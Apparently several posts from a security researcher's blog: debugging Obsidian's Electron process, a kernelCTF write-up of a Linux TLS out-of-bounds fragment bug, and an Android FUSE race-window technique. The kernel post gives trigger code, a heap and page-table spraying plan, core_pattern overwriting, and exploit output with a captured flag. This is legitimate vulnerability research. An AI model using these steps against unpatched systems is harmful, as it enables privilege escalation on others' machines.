Continuing.
[New Thread 0x76bd653f36c0 (LWP 44357)]
Debugger listening on ws://127.0.0.1:9229/6f96cdd8-bb69-4f55-b36f-bfffc2eb2ca8
For help, see: https://nodejs.org/en/docs/inspector
2026-01-18 05:27:15 Loading main app package /opt/Obsidian/resources/obsidian.asar
[New Thread 0x76bcd19ff6c0 (LWP 44358)]
...

Great! We can now debug the main process!

But what if we want to debug the initialization of the main script? Is there any way to pause the Node.js process right at startup? Going back to DebugOptionsParser::DebugOptionsParser(), we can see another parameter, --inspect-brk, which sets the break_first_line flag.

DebugOptionsParser::DebugOptionsParser() {
  // [...]
  AddOption("--inspect-brk",
            "activate inspector on host:port and break at start of user script",
            &DebugOptions::break_first_line, // offset: 12
            kAllowedInEnvvar);
  // [...]
}

The break_first_line flag is used in node::inspector::Agent::WaitForConnectByOptions() to determine whether the Inspector should break at the first line and wait for the debugger to attach.

bool Agent::WaitForConnectByOptions() {
  // [...]
  bool should_break_first_line = debug_options_.should_break_first_line();
  // [...]
  if (wait_for_connect || should_break_first_line) {
    // Patch the debug options to implement waitForDebuggerOnStart for
    // the NodeWorker.enable method.
    if (should_break_first_line) {
      CHECK(!parent_env_->has_serialized_options());
      debug_options_.EnableBreakFirstLine();
      parent_env_->options()->get_debug_options()->EnableBreakFirstLine();
    }
    client_->waitForFrontend();
    return true;
  }
  return false;
}

To enable it, we just need to run one additional GDB command:

set *(char *)($rdx + 12)=1

Now the Inspector will pause execution and wait for us to attach the debugger!

3.2.2. Static Patch

When I was writing this post, I found an easier way to start the Inspector lol. Since we can repack the ASAR file, we just need to add the following two lines of JS code to main.js:

require('inspector').open(9229, '127.0.0.1', true);
debugger;

Repacking ASAR files is straightforward:

cd /opt/Obsidian/resources
npx asar extract app.asar ~/Downloads/app.unpacked
# ... patch file
npx asar pack ~/app.unpacked app.asar
cp app.asar /opt/Obsidian/resources/app.asar

The Inspector will be launched as well.

WOW, I feel like a stupid guy XD

3.3. Find Vulnerabilities

By searching for the string "second-instance" or "open-url", you can easily locate the handler and start analyzing the minified JS code.

// main.js (obsidian.asar)
i.app.whenReady().then(() => {
    // [...]
    i.app.on("second-instance", (e, t) => {
        Ve(t) || Z()
    });
    // [...]
)

/* ...*/ i.app.on("open-url", function(e, t) {
            e.preventDefault(), he(t)
         }), /* ... */
// [...]

In fact, I don’t really have any experience finding protocol handler vulnerabilities, and I didn’t even find any web bugs, so… there are that many things to share in this part :p. However, the protocol handlers have been a widely known attack surface for a long time, and you can find plenty of resources discussing them. For example, Obsidian previously had a potential RCE vulnerability, which happened in the hook-get-address command handler.

If you can execute arbitrary JS code or HTML (via XSS, markdown features, …) in an Electron application, it may lead to unexpected problems. In worst case, an attacker can run call arbitrary Node.js APIs and run system commands. This post explains several scenarios where unsafe Electron configurations can result in pretty bad problems.

There are three relatively important attributes in the Electron webPreferences configuration:

nodeIntegration: whether the renderer process can call Node.js APIs.
sandbox: whether the renderer process runs in OS-level sandbox and can only access limited resources.
contextIsolation: whether the web page’s JS code is prevented from polluting the global JS environment, such as hijacking preloaded JS code.

I draw a simple map to show where we should focus when looking at an Electron application:

I’m working on it and hope to share somethings interesting in the future!

4. Conclusion

I think writing blogs is still beneficial, not only for sharing technical ideas, but also for organizing what I’ve learned. Hope I can keep doing this throughout the year!

Analyze Linux Kernel 1-day 0aeb54ac

2025-10-03T00:00:00+00:00

One day, @farazsth98 asked me if I had analyzed the latest 1-day kernelCTF slot. I hadn’t analyzed it yet, but I thought it was a good time to do something interesting — especially since preparing a talk is exhausting 😭.

The vulnerability occurred in the TLS subsystem, and its commit revealed many details about the triggering scenario.

This post is just a quick note about my reproduction, so it helps if you already have some background knowledge of TLS before reading.

Some of my previous posts might also be useful:

1. Patch Analysis

1.1. Key Problem

The patch updates several files, but the core issue lies in tls_rx_msg_size().

@@ -2474,8 +2474,7 @@ int tls_rx_msg_size(struct tls_strparser *strp, struct sk_buff *skb)
     return data_len + TLS_HEADER_SIZE;
 
 read_failure:
-    tls_err_abort(strp->sk, ret);
-
+    tls_strp_abort_strp(strp, ret);
     return ret;

The tls_rx_msg_size() function is used to calculate the total TLS record size from the header [1]. Before the patch, if the size was too small [2] or too large [3], tls_err_abort() was called to set the socket error state [4].

int tls_rx_msg_size(struct tls_strparser *strp, struct sk_buff *skb)
{
    // [...]
    data_len = ((header[4] & 0xFF) | (header[3] << 8)); // [1]

    if (data_len > TLS_MAX_PAYLOAD_SIZE /* 0x4000 */ + cipher_overhead + // [2]
        prot->tail_size) {
        ret = -EMSGSIZE;
        goto read_failure;
    }
    
    // [...]
    if (data_len < cipher_overhead) { // [3]
        ret = -EBADMSG;
        goto read_failure;
    }

    // [...]
read_failure:
    tls_err_abort(strp->sk, ret);

    return ret;
}

noinline void tls_err_abort(struct sock *sk, int err)
{
    // [...]
    WRITE_ONCE(sk->sk_err, -err); // [4]
    // [...]
    sk_error_report(sk);
}

After the patch, the call to tls_err_abort() is replaced with tls_strp_abort_strp().

Unlike tls_err_abort(), tls_strp_abort_strp() not only sets the socket error state, but also stops the TLS stream parser [5].

static void tls_strp_abort_strp(struct tls_strparser *strp, int err)
{
    if (strp->stopped)
        return;

    strp->stopped = 1; // [5]
    // [...]
    WRITE_ONCE(strp->sk->sk_err, -err);
    // [...]
    sk_error_report(strp->sk);
}

If the stopped flag is set [6], the TLS packet receive callback tls_strp_read_sock() will no longer be invoked [7], effectively preventing the TLS parser from processing further packets.

void tls_strp_check_rcv(struct tls_strparser *strp)
{
    if (unlikely(strp->stopped) /* [6] */ || strp->msg_ready)
        return;

    if (tls_strp_read_sock(strp) == -ENOMEM) // [7]
        queue_work(tls_strp_wq, &strp->work);
}

The only affected path is tls_strp_copyin_frag(). Since its call to tls_rx_msg_size() would previously return an error without setting the stopped flag, the function could be triggered repeatedly, leading to unintended side effects.

static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                struct sk_buff *in_skb, unsigned int offset,
                size_t in_len)
{
    // [...]
    if (!strp->stm.full_len) {
        // [...]
        sz = tls_rx_msg_size(strp, skb);
        if (sz < 0)
            return sz;
    }
    // [...]
}

1.2. Exploit Path

The patch for socket fragment handling in tls_strp_copyin_frag() prevents the exploitation path.

Previously, developers assumed that skb->len was bounded by the maximum value TLS_MAX_PAYLOAD_SIZE, and therefore did not further validate the calculated fragment index.

However, because tls_strp_copyin_frag() could be invoked multiple times, skb->len may grow excessively. As a result, the fragment index could become larger than the total fragment count, leading to out-of-bounds memory access or the use of uninitialized memory.

@@ -211,11 +211,17 @@ static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                 struct sk_buff *in_skb, unsigned int offset,
                 size_t in_len)
 {
+    unsigned int nfrag = skb->len / PAGE_SIZE;
     size_t len, chunk;
     skb_frag_t *frag;
     int sz;
 
-    frag = &skb_shinfo(skb)->frags[skb->len / PAGE_SIZE];
+    if (unlikely(nfrag >= skb_shinfo(skb)->nr_frags)) {
+        DEBUG_NET_WARN_ON_ONCE(1);
+        return -EMSGSIZE;
+    }
+
+    frag = &skb_shinfo(skb)->frags[nfrag];

This patch introduces stricter validation of the packet length to ensure safer fragment handling.

2. Trigger the Vulnerability

Two conditions must be satisfied to trigger the vulnerability:

TLS stream copy mode (strp->copy_mode) is enabled.
The packet length skb->len is sufficiently small.

2.1. Enabling Stream Copy Mode

When the receive buffer becomes insufficient [1], the TLS parser enables copy mode [2] and uses tls_strp_read_copyin() to process subsequent packets [3, 4].

static int tls_strp_read_copy(struct tls_strparser *strp, bool qshort)
{
    if (likely(qshort /* true */ && !tcp_epollin_ready(strp->sk, INT_MAX)))
        return 0;

    // [...]
    strp->copy_mode = 1; // [2]
    
    // [...]
    tls_strp_read_copyin(strp); // [3]
}

static inline bool tcp_epollin_ready(const struct sock *sk, int target /* INT_MAX */)
{
    const struct tcp_sock *tp = tcp_sk(sk);
    int avail = READ_ONCE(tp->rcv_nxt) - READ_ONCE(tp->copied_seq);

    if (avail <= 0)
        return false;

    return (avail >= target) || tcp_rmem_pressure(sk) /* [1] */ ||
           (tcp_receive_window(tp) <= inet_csk(sk)->icsk_ack.rcv_mss);
}

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    // [...]
    if (unlikely(strp->copy_mode))
        return tls_strp_read_copyin(strp); // [4]
    // [...]
}

2.2. Small Packet Size

The value of strp->stm.full_len depends on the return value of tls_rx_msg_size() [1].

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    // [...]
    if (!strp->stm.full_len) {
        sz = tls_rx_msg_size(strp, strp->anchor);
        if (sz < 0) {
            tls_strp_abort_strp(strp, sz);
            return sz;
        }

        strp->stm.full_len = sz; // [1]
        // [...]
    }
    // [...]
}

The function tls_rx_msg_size() returns 0 as the packet size only when the packet is still too small to be parsed [2].

int tls_rx_msg_size(struct tls_strparser *strp, struct sk_buff *skb)
{
    struct tls_context *tls_ctx = tls_get_ctx(strp->sk);
    struct tls_prot_info *prot = &tls_ctx->prot_info;
    char header[TLS_HEADER_SIZE + TLS_MAX_IV_SIZE];
    size_t cipher_overhead;
    size_t data_len = 0;
    int ret;

    // [...]
    if (strp->stm.offset + prot->prepend_size /* 13 */ > skb->len) // [2]
        return 0;
    // [...]
}

However, these two conditions appear to conflict 🤯: if the packet size is too small, the receive buffer will remain empty, and copy mode will not be enabled.

2.3. OOB Packet

Out-of-band (OOB), also known as Urgent, is a packet type used to notify the receiver of an emergency condition. This type of packet contains only a single byte of data and has higher priority than a normal packet.

tcp_rcv_established() calls tcp_urg() to handle urgent packets before calling tcp_data_queue() to process regular data.

void tcp_rcv_established(struct sock *sk, struct sk_buff *skb)
{
    // [...]
    tcp_urg(sk, skb, th);
    
    // [...]
    tcp_data_queue(sk, skb);
    
    // [...]
}

tcp_urg() first checks whether the packet is an urgent packet by calling tcp_check_urg(). If it is, the urgent packet sequence tp->urg_seq is updated [1], and tls_strp_read_sock() is invoked internally [2].

static void tcp_urg(struct sock *sk, struct sk_buff *skb, const struct tcphdr *th)
{
    struct tcp_sock *tp = tcp_sk(sk);

    if (unlikely(th->urg))
        tcp_check_urg(sk, th);
    
    // [...]
    if (unlikely(tp->urg_data == TCP_URG_NOTYET)) {
        if (ptr < skb->len) {
            // [...]
            skb_copy_bits(skb, ptr, &tmp, 1);
            WRITE_ONCE(tp->urg_data, TCP_URG_VALID | tmp);
            sk->sk_data_ready(sk); // [2]
            // [...]
        }
    }
}

static void tcp_check_urg(struct sock *sk, const struct tcphdr *th)
{
    u32 ptr = ntohs(th->urg_ptr);

    // [...]
    ptr += ntohl(th->seq);

    /* Ignore urgent data that we've already seen and read. */
    if (after(tp->copied_seq, ptr))
        return;
    if (before(ptr, tp->rcv_nxt))
        return;
    
    // Allow newer urgent
    if (tp->urg_data && !after(ptr, tp->urg_seq))
        return;
    
    // [...]
    WRITE_ONCE(tp->urg_data, TCP_URG_NOTYET);
    WRITE_ONCE(tp->urg_seq, ptr); // [1]
}

tls_strp_read_sock() calls tcp_inq() to obtain the current TCP in-queue size [2], i.e., how much data can be retrieved. This value depends on whether there is urgent data.

Each time a new urgent packet arrives, tp->urg_seq is set to tp->rcv_nxt, so all tcp_inq() calls from tcp_urg() fall into the second branch [3], returning the remaining data count.

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    int sz, inq;

    inq = tcp_inq(strp->sk); // [2]
    if (inq < 1)
        return 0;

    // [...]
}

static inline int tcp_inq(struct sock *sk)
{
    struct tcp_sock *tp = tcp_sk(sk);
    int answ;

    // [...]
    else if (sock_flag(sk, SOCK_URGINLINE) ||
           !tp->urg_data ||
           before(tp->urg_seq, tp->copied_seq) ||
           !before(tp->urg_seq, tp->rcv_nxt)) {

        answ = tp->rcv_nxt - tp->copied_seq; // [3]
        // [...]
    } else {
        answ = tp->urg_seq - tp->copied_seq; // [5]
    }

    return answ;
}

After that, tcp_data_queue() is called, and then tls_strp_read_sock() is invoked again [4].

This time, since the one-byte urgent data has already been processed and tp->rcv_nxt has been updated, tcp_inq() takes the last branch [5], returning the size of the remaining urgent data in the queue.

static void tcp_data_queue(struct sock *sk, struct sk_buff *skb)
{
    // [...]
    if (TCP_SKB_CB(skb)->seq == tp->rcv_nxt) {
        // [...]
        eaten = tcp_queue_rcv(sk, skb, &fragstolen);
        
        // [...]
        if (!sock_flag(sk, SOCK_DEAD))
            tcp_data_ready(sk); // [4]
        return;
    }
}

The function tcp_queue_rcv() not only processes packet data but also attempts to coalesce the data size [6].

This means if the previous skb has enough buffer space, the new skb will be merged into it.

static int __must_check tcp_queue_rcv(struct sock *sk, struct sk_buff *skb,
                      bool *fragstolen)
{
    int eaten;
    struct sk_buff *tail = skb_peek_tail(&sk->sk_receive_queue);

    eaten = (tail &&
         tcp_try_coalesce(sk, tail, // [6]
                  skb, fragstolen)) ? 1 : 0;
    tcp_rcv_nxt_update(tcp_sk(sk), TCP_SKB_CB(skb)->end_seq);
    if (!eaten) {
        tcp_add_receive_queue(sk, skb);
        skb_set_owner_r(skb, sk);
    }
    return eaten;
}

A flow diagram makes the sequence update clearer.

2.4. Combine All Together

After establishing the connection, we set the receive buffer of the server-side socket to the minimum size.

int rcvbuf_size = 0x0;
setsockopt(accept_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf_size, sizeof(rcvbuf_size));

On the client side, we send the following packets:

send(client_fd, data, 1, 0);       // copied_seq=0, urg_seq=0, rcv_nxt=1
send(client_fd, data, 1, MSG_OOB); // copied_seq=0, urg_seq=1, rcv_nxt=2
send(client_fd, data, 0x2000, 0);  // copied_seq=0, urg_seq=1, rcv_nxt=0x2002

When the last packet is sent, tcp_inq() returns 1 [1] (urg_seq - copied_seq), and tls_strp_load_anchor_with_queue() sets the anchor’s skb->len to inq. Since skb->len is smaller than the prepend size, tls_rx_msg_size() [3] returns zero, and tls_strp_read_copy() is then called [4].

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    int sz, inq;

    inq = tcp_inq(strp->sk); // [1]
    if (inq < 1)
        return 0;

    tls_strp_load_anchor_with_queue(strp, inq); // [2]
    
    // [...]
    if (!strp->stm.full_len) {
        sz = tls_rx_msg_size(strp, strp->anchor); // [3]
        // [...]

        strp->stm.full_len = sz;

        if (!strp->stm.full_len || inq < strp->stm.full_len)
            return tls_strp_read_copy(strp, true); // [4]
    }
}

Because we send a packet larger than the receive buffer, tcp_epollin_ready() returns true [5], and copy mode is enabled [6].

Afterwards, tls_strp_read_copyin() is used to receive the data.

static int tls_strp_read_copy(struct tls_strparser *strp, bool qshort)
{
    if (likely(qshort && !tcp_epollin_ready(strp->sk, INT_MAX))) // [5]
        return 0;

    strp->copy_mode = 1; // [6]
    // [...]
    tls_strp_read_copyin(strp);
    return 0;
}

Internally, the TCP receive queue is iterated, and each retrieved packet along with its size is passed to tls_strp_copyin_frag() as the in_skb and in_len parameters.

In this function, the in_skb packet data is copied into the corresponding fragment (->frags[]) of the anchor packet. Since fragments store packet data in page units, tls_strp_copyin_frag() first calculates the fragment index using skb->len / PAGE_SIZE [7].

If the record size (strp->stm.full_len) is still not determined [8], the packet is reparsed. The data is first copied into the buffer [9], skb->len is updated, and then the record header is parsed [10].

static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                struct sk_buff *in_skb, unsigned int offset,
                size_t in_len)
{
    // [...]
    frag = &skb_shinfo(skb)->frags[skb->len / PAGE_SIZE]; // [7]
    
    // [...]
    if (!strp->stm.full_len) { // [8]
        chunk = min_t(size_t, len, PAGE_SIZE - skb_frag_size(frag));
        WARN_ON_ONCE(skb_copy_bits(in_skb, offset, skb_frag_address(frag) + skb_frag_size(frag), chunk)); // [9] 

        skb->len += chunk;
        skb->data_len += chunk;
        skb_frag_size_add(frag, chunk);

        sz = tls_rx_msg_size(strp, skb); // [10]
        if (sz < 0)
            return sz;
        // [..]
    }
    // [..]
}

However, due to this vulnerability, a malformed header may cause the packet not to be consumed (eaten). As a result, skb->len continues to grow, leading to an out-of-bounds index when accessing frags[].

2.5. Access Uninitialized Fragment

After copy mode is enabled, we restore the receive buffer size of the accepted socket on the server side:

int rcvbuf_size = 0x20000;
setsockopt(accept_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf_size, sizeof(rcvbuf_size));

On the client side, the first call to __tcp_read_sock() consumes the urgent packet and updates copied_seq to match urg_seq. This causes tcp_inq() to return zero, preventing further progress.

To bypass this, we first send a MSG_OOB packet to update urg_seq:

send(client_fd, ptr, 1, MSG_OOB);

Afterwards, we can trigger tls_strp_copyin_frag() by sending additional packets. Each packet increases skb->len by 0x1000.

According to tls_strp_read_copy(), five pages [1] are allocated and populated into the fragment array of the anchor skb [2]:

static int tls_strp_read_copy(struct tls_strparser *strp, bool qshort)
{
    // [...]
    need_spc = strp->stm.full_len ?: TLS_MAX_PAYLOAD_SIZE /* 0x4000 */ + PAGE_SIZE /* 0x1000 */; // [1]
    
    // [...]
    for (len = need_spc; len > 0; len -= PAGE_SIZE) {
        page = alloc_page(strp->sk->sk_allocation);
        // [...]
        skb_fill_page_desc(strp->anchor, shinfo->nr_frags++, // [2]
                   page, 0, 0);
    }
}

So, after sending four packets (excluding the initial OOB), skb->len becomes 4 x 0x1000 = 0x4000. The initial OOB also increases skb->len by 0x1000, so the total is 0x5000. At this point skb->len / PAGE_SIZE == 5, which exceeds the initialized fragment array and causes an out-of-bounds access. The out-of-bounds access in frags[] will be triggered when the fifth packet is sent.

for (int i = 0; i < 4; i++) {
    send(client_fd, ptr, 1, 0);
}
send(client_fd, ptr, 1, 0);

3. Exploit

3.1. Spraying TCP Socket

The anchor packet is allocated in tls_strp_init():

int tls_strp_init(struct tls_strparser *strp, struct sock *sk)
{
    // [...]
    strp->sk = sk;
    strp->anchor = alloc_skb(0, GFP_KERNEL);
    // [...]
}

Internally, alloc_skb() calls kmalloc_reserve() to allocate the data buffer. In this case, the buffer is allocated from skb_small_head_cache [1].

static inline struct sk_buff *alloc_skb(unsigned int size,
                    gfp_t priority)
{
    return __alloc_skb(size, priority, 0, NUMA_NO_NODE); // <--------------------
}

struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
                int flags, int node)
{
    // [...]
    skb = kmem_cache_alloc_node(cache, gfp_mask & ~GFP_DMA, node);
    // [...]
    data = kmalloc_reserve(&size, gfp_mask, node, &pfmemalloc); // <--------------------
    // [...]
    __build_skb_around(skb, data, size);
}

static void *kmalloc_reserve(unsigned int *size, gfp_t flags, int node,
                 bool *pfmemalloc)
{
    obj_size = SKB_HEAD_ALIGN(*size);

    if (obj_size <= SKB_SMALL_HEAD_CACHE_SIZE && !(flags & KMALLOC_NOT_NORMAL_BITS)) {
        obj = kmem_cache_alloc_node(net_hotdata.skb_small_head_cache, flags | __GFP_NOMEMALLOC | __GFP_NOWARN, node); // [1]
        *size = SKB_SMALL_HEAD_CACHE_SIZE;
        // [...]
        goto out;
    }

    obj_size = kmalloc_size_roundup(obj_size);
    // [...]
}

After the data buffer is allocated, __finalize_skb_around() is called internally by __build_skb_around() to initialize it. Fortunately, the frags[] array remains uninitialized, which allows us to populate it by spraying.

// called by __build_skb_around()
static inline void __finalize_skb_around(struct sk_buff *skb, void *data,
                     unsigned int size)
{
    // [...]
    skb->head = data;
    skb->data = data;
    // [...]
    shinfo = skb_shinfo(skb);
    // [...]
    memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));
    // [...]
}

Therefore, we need to find a function call to alloc_skb() that allocates the data buffer from skb_small_head_cache and allows us to populate the fragment array.

At first, I tried spraying with TCP Unix sockets, but their data buffers are allocated from kmalloc-512-cg.

Next, I tried normal TCP sockets, and luckily, their buffers are allocated from skb_small_head_cache [2]. Perfect!

Additionally, if the packet data is passed through the SYS_splice system call, the message flag MSG_SPLICE_PAGES will be set [3], and the pages will be placed into the fragment array [4].

int tcp_sendmsg_locked(struct sock *sk, struct msghdr *msg, size_t size)
{
    // [...]
    else if (unlikely(msg->msg_flags & MSG_SPLICE_PAGES) && size) {
        if (sk->sk_route_caps & NETIF_F_SG)
            zc = MSG_SPLICE_PAGES; // [3]
    }
    // [...]

    while (msg_data_left(msg)) {
        skb = tcp_stream_alloc_skb(sk, sk->sk_allocation, first_skb); // [2]

        // [...]
        else if (zc == MSG_SPLICE_PAGES) {
            // [...]
            err = skb_splice_from_iter(skb, &msg->msg_iter, copy); // [4]
            // [...]
            copy = err;

            if (!(flags & MSG_NO_SHARED_FRAGS))
                skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;

            // [...]
        }
    }
}

The call flow from splice to tcp_sendmsg_locked() is as follows:

__do_splice()
=> do_splice()
 => out->f_op->splice_write()
  => splice_to_socket()
   => sock_sendmsg()
    => __sock_sendmsg()
     => inet_sendmsg()
      => tcp_sendmsg()
       => tcp_sendmsg_locked()

Thus, we can spray a large number of TCP sockets and splice six pages into each fragment array. After that, freeing all of them will eventually cause one to be reclaimed by strp->anchor.

3.2. Spraying Pagetable

After the pages are released, we reclaim them by spraying the page table. When an out-of-bounds access is triggered in tls_strp_copyin_frag() [1], packet data is copied into the fragment and the copied content is under our control. This lets us overwrite a PTE.

static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                struct sk_buff *in_skb, unsigned int offset,
                size_t in_len)
{
    // [...]
    frag = &skb_shinfo(skb)->frags[skb->len / PAGE_SIZE];
    
    // [...]
    if (!strp->stm.full_len) {
        chunk = min_t(size_t, len, PAGE_SIZE - skb_frag_size(frag));
        WARN_ON_ONCE(skb_copy_bits(in_skb, offset, skb_frag_address(frag) + skb_frag_size(frag), chunk)); // [1]
    }

    // [...]
}

Concretely, we add a new PTE pointing to core_pattern[] and overwrite it. Triggering a segmentation fault then causes the kernel to use the overwritten core_pattern[], allowing us to retrieve the flag.

The exploit for lts-6.12.46 is here. It works in the remote environment as well.

user@lts-6:/tmp$ ./test
./test
[+] initialize
[+] spraying pagetable
[+] count: 0 (for populate pagetable)
[+] craft PTEs
[+] /proc/sys/kernel/core_pattern: |/proc/%P/fd/666 %P

[   19.574504] test[205]: segfault at 0 ip 0000000000402a19 sp 00007fff67f2a5d0 error 6 in test[2a19,401000+96000] likely on CPU 0 (core 0, socket 0)
[   19.578581] Code: 48 89 ce 89 c7 e8 77 35 02 00 48 8d 45 c0 48 89 c6 48 8d 05 51 4d 09 00 48 89 c7 b8 00 00 00 00 e8 5c 3f 00 00 b8 00 00 00 00 <41
kernelCTF{v1:lts-6.12.46:1759486024:a15c6a431f0965768f9100391e6ebb695924f1f7}
[   19.603944] sysrq: Power Off
[   19.605689] ACPI: PM: Preparing to enter system sleep state S5
[   19.607641] kvm: exiting hardware virtualization
[   19.609214] reboot: Power down

Implementing KernelGP to Extend the Race Window

2025-09-24T00:00:00+00:00

The talk KernelGP: Racing Against the Android Kernel at OffensiveCon 2025 demonstrates four techniques to leverage Android’s internal design to extend the race window during kernel exploitation. In this post, I will walk through my exploration of the first method — the proxy file descriptor — and explain how I implemented it. I’ll also share some side notes on writing an Android app.

1. JNI

1.1. Introduction

JNI (Java Native Interface) is an interface between Java/Kotlin applications and C/C++ libraries. It allows developers to write C libraries and load them into applications. This is very useful in exploitation development, because applications are written in high-level languages, where we lack fine-grained control over operations.

To write a library, you first need to download the NDK. It includes toolchains for building libraries, most of which are pre-built, so no additional compilation is required. I used android-ndk-r27d-linux.zip in my virtual machine.

Once uncompressed, you can use JNI APIs to write a library. For example, here is a hello.c that implements a simple JNI function returning a "Hello World" string:

#include 

JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_stringFromJNI(JNIEnv* env, jobject thiz) {
    return (*env)->NewStringUTF(env, "Hello from C!");
}

The function name cannot be arbitrary — it must follow JNI naming conventions. The format is: Java___ with dots (.) in names replaced by underscores (_), and underscores (_) further escaped as _1.

The first two parameters are predefined: the JNI environment object (env) and the caller object (thiz). The return type must be a Java-compatible type, such as void, jboolean, jint, jstring, etc.

To compile it, use the toolchain compiler with flags for building a shared object:

~/android-ndk-r27d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -shared -fPIC -o libhello.so hello.c

Then, copy libhello.so to ~/path_to_your_application/app/src/main/jniLibs/arm64-v8a/.

In the com.example.myapplication project, you need to add the attribute android:extractNativeLibs="true" in AndroidManifest.xml to ensure the application extracts native shared objects:

The MainActivity class then uses System.loadLibrary() to load the shared library. The file name must follow the format "libXXXXX.so", otherwise it will not be extracted and cannot be loaded. You also need to declare an external function for later use:

init { System.loadLibrary("hello") }
external fun helloworld(): String

Now, you can call helloworld() anywhere in your application!

1.2. Real JNI

The actual library libfuse_mmap.so used to trigger FUSE is shown below:

#include 
#include 
#include 
#include 
#include 
#include 

char buf[0x100];
JNIEXPORT jstring JNICALL
Java_com_example_fuse_1test_MainActivity_mmapfuse(JNIEnv* env, jobject thiz, jint fd /* [1] */) {
    void* ptr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0); // [2]
    if (ptr == MAP_FAILED) {
        char buf[128];
        snprintf(buf, sizeof(buf), "mmap failed: errno=%d (%s)", errno, strerror(errno));
        return (*env)->NewStringUTF(env, buf);
    }
    memset(buf, 'A', sizeof(buf));
    memcpy(buf, ptr, 0x10); // [3]
    return (*env)->NewStringUTF(env, buf);
}

This function is called mmapfuse() and belongs to the MainActivity class in the com.example.fuse_test project. It takes the FUSE file descriptor as a parameter [1] and maps it into the process address space with mmap() [2]. When memcpy() reads from the mapped memory [3], page fault will be handled by the FUSE handler.

2. App

The following is the source code of the application com.example.fuse_test. I will explain it line by line.

class MainActivity : ComponentActivity() {
    // =============== [1] ===============
    init { System.loadLibrary("fuse_mmap") }
    external fun mmapfuse(fuseFd: Int): String
    // ===================================

    override fun onCreate(savedInstanceState: Bundle?) { // [2]
        super.onCreate(savedInstanceState)
        setContent {
            // =============== [3] ===============
            var output by remember { mutableStateOf("running...") }
            var fusePfd by remember { mutableStateOf<ParcelFileDescriptor?>(null) }
            var callbackThread by remember { mutableStateOf<HandlerThread?>(null) }
            var callbackHandler by remember { mutableStateOf<Handler?>(null) }
            // ===================================

            LaunchedEffect(Unit) { // [4]
                callbackThread = HandlerThread("ProxyFDCallbacks").apply { start() } // [6]
                callbackHandler = Handler(callbackThread!!.looper)
                val data = "from FUSE callback :)".toByteArray(Charsets.UTF_8)
                val sm = getSystemService(STORAGE_SERVICE) as StorageManager // [7]
                
                fusePfd = sm.openProxyFileDescriptor( // [8]
                    ParcelFileDescriptor.MODE_READ_ONLY,
                    FuseCallback(data),
                    callbackHandler
                )
                output = mmapfuse(fusePfd!!.fd) // [11]
            }

            Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                Text(output, modifier = Modifier.padding(innerPadding)) // [12]
            }

            DisposableEffect(Unit) { // [5]
                onDispose {
                    try { fusePfd!!.close() } catch (_: Exception) {}
                    callbackThread!!.quitSafely()
                }
            }
        }
    }
}

class FuseCallback(private val data: ByteArray) : ProxyFileDescriptorCallback() { // [9]
    override fun onGetSize(): Long = data.size.toLong()
    override fun onRead(offset: Long, size: Int, dst: ByteArray): Int {
        if (offset < 0 || size < 0) throw ErrnoException("onRead", OsConstants.EINVAL)
        if (offset >= data.size) return 0
        val n = minOf(size, data.size - offset.toInt())
        System.arraycopy(data, offset.toInt(), dst, 0, n)
        Thread.sleep(2000) // [10]
        return n
    }
    override fun onWrite(offset: Long, size: Int, data: ByteArray): Int {
        throw ErrnoException("onWrite", OsConstants.EBADF)
    }
    override fun onFsync() {}
    override fun onRelease() {}
}

First, we load the shared library libfuse_mmap.so and function mmapfuse() [1] which was implemented in section 1.2.

Once the application is loaded, the onCreate() method is invoked [2], so it can be considered the entry point of the application. Next, we define several mutable variables to maintain state within a Composable by keywork remember [3].

After that, we use LaunchedEffect(Unit) [4] and DisposableEffect(Unit) [5] to define the prologue and epilogue handlers when entering and leaving the Composition.

The prologue handler creates a thread "ProxyFDCallbacks" as a proxy fd handler [6], since the proxy fd must be managed on a separate thread. Then, the getSystemService() function [7] is called to obtain the StorageManager system service. Using this handle, we can communicate with the storage manager service and request it to create a proxy fd for us by calling the openProxyFileDescriptor() function [8].

This function takes three parameters: opened file mode, callback object and handling thread. Since the file mode is set to ParcelFileDescriptor.MODE_READ_ONLY, we can only read the file but cannot write to it. The FuseCallback() [9] class extends the callback handler to provide custom behavior.

In the onRead() handler, we insert a sleep call [10] before returning the read size. As a result, when mmapfuse() [11] is invoked, the memory copy operation — specifically memcpy(buf, ptr, 0x10) — on the mapped FUSE fd will block the read access for two seconds.

Later, the output of the function call is displayed on the screen by invoking Text() [12], which is expected to look like:

Finally, the epilogue closes the FUSE fd and releases the "ProxyFDCallbacks" thread.

3. Internal

According to the API documentation, we can call getSystemService() to obtain a handle to a system-level service by name. This allows us to retrieve a StorageManager instance and access its predefined handlers.

public abstract Object getSystemService (String name)

The StorageManager class provides the method openProxyFileDescriptor(), which is implemented in android.os.storage.StorageManager.

@SystemService(Context.STORAGE_SERVICE)
public class StorageManager {
    // [...]
    
    public @NonNull ParcelFileDescriptor openProxyFileDescriptor(
            int mode, ProxyFileDescriptorCallback callback, Handler handler)
                    throws IOException {
        Preconditions.checkNotNull(handler);
        return openProxyFileDescriptor(mode, callback, handler, null);
    }
    
    // [...]
}

Internally, the method mountProxyFileDescriptorBridge() [1] is invoked to obtain an AppFuseMount object and enter the FUSE app loop to handle file operations.

public @NonNull ParcelFileDescriptor openProxyFileDescriptor(
        int mode, ProxyFileDescriptorCallback callback, Handler handler, ThreadFactory factory)
                throws IOException {
    // [...]
    while (true) {
        try {
            synchronized (mFuseAppLoopLock) {
                boolean newlyCreated = false;
                if (mFuseAppLoop == null) {
                    final AppFuseMount mount = mStorageManager.mountProxyFileDescriptorBridge(); // [1]
                }
                // [...]
